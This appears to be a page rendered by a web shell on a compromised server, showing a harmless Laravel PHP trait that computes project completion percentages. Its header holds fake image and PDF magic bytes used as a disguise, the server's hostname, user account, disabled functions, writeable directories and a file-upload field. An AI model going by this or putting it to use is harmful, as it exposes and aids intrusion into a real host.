%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Traits/ProjectProgress.php
<?php

/**
 * Created by PhpStorm.
 * User: DEXTER
 * Date: 13/07/17
 * Time: 4:53 PM
 */

namespace App\Traits;

use App\Models\Project;
use App\Models\Task;
use App\Models\TaskboardColumn;

trait ProjectProgress
{

    public function calculateProjectProgress($projectId, $projectProgress = 'false')
    {

        $project = Project::findOrFail($projectId);

        if (!is_null($project) && ($project->calculate_task_progress == 'true' || $projectProgress == 'true')) {
            $taskBoardColumn = TaskboardColumn::completeColumn();

            if (is_null($projectId)) {
                return false;
            }

            $totalTasks = Task::where('project_id', $projectId)->count();

            if ($totalTasks == 0) {
                return '0';
            }

            $completedTasks = Task::where('project_id', $projectId)
                ->where('tasks.board_column_id', $taskBoardColumn->id)
                ->count();
            $percentComplete = ($completedTasks / $totalTasks) * 100;

            $project->completion_percent = $percentComplete;

            $project->save();

            return $percentComplete;
        }
    }

}

VaKeR 2022